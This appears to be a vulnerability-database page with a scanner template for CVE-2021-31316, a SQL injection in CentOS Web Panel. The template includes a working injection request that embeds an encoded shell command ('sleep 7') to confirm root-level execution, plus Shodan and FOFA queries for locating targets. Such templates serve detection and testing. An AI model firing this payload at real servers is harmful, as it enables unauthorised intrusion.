CVE-2021-31316: CentOS Web Panel - SQL Injection

2025-08-01 CentOS Web Panel PoC Public

Description

The unprivileged user portal part of CentOS Web Panel is affected by a SQL Injection via the 'idsession' HTTP POST parameter.

PoC

id: CVE-2021-31316

info:
  name: CentOS Web Panel - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    The unprivileged user portal part of CentOS Web Panel is affected by a SQL Injection via the 'idsession' HTTP POST parameter.
  impact: |
    Unauthenticated attackers can exploit SQL injection via the idsession parameter to extract database contents or execute arbitrary commands with root privileges.
  remediation: |
    Apply security updates provided by CentOS Web Panel.
  reference:
    - https://www.shielder.com/advisories/centos-web-panel-idsession-root-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31316
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31316
    cwe-id: CWE-89
    epss-score: 0.13378
    epss-percentile: 0.96215
    cpe: cpe:2.3:a:control-webpanel:webpanel:-:*:*:*:*:*:*:*
  metadata:
    vendor: control-webpanel
    product: webpanel
    shodan-query: title:"Login | Control WebPanel"
    fofa-query: title="Login | Control WebPanel"
  tags: cve,cve2021,centos,cwpsrv,sqli,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "cwpsrv")'
        internal: true

  - raw:
      - |
        POST /login/index.php?acc=newpass HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        pass1=c3VwZXJwYXNzd29yZA%3D%3D&idsession=a'%20UNION%20SELECT'a'%2c'b'%2c'c'%2c'YWJjIiBVTklPTiBTRUxFQ1QgJ2EnLCdiJywnYycsJ2QnLCcrMSBkYXknLCdmJy0tIHAiO3NsZWVwIDc7I2B8fGF8fGJ8fGN8fGQ%3d'%2c'e'%2c'f'-- p

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(response, "Control WebPanel")'
        condition: and
# digest: 4a0a00473045022066d64e1d7ddb2b8d2130959fba61f03d5a0f09c5af69c4ab6cb0f7fd15477ced022100ea0e2c37a8c388e7a5ce624041fd8ed0fa4348c8473d3c1611e0e6fd7a500bc5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities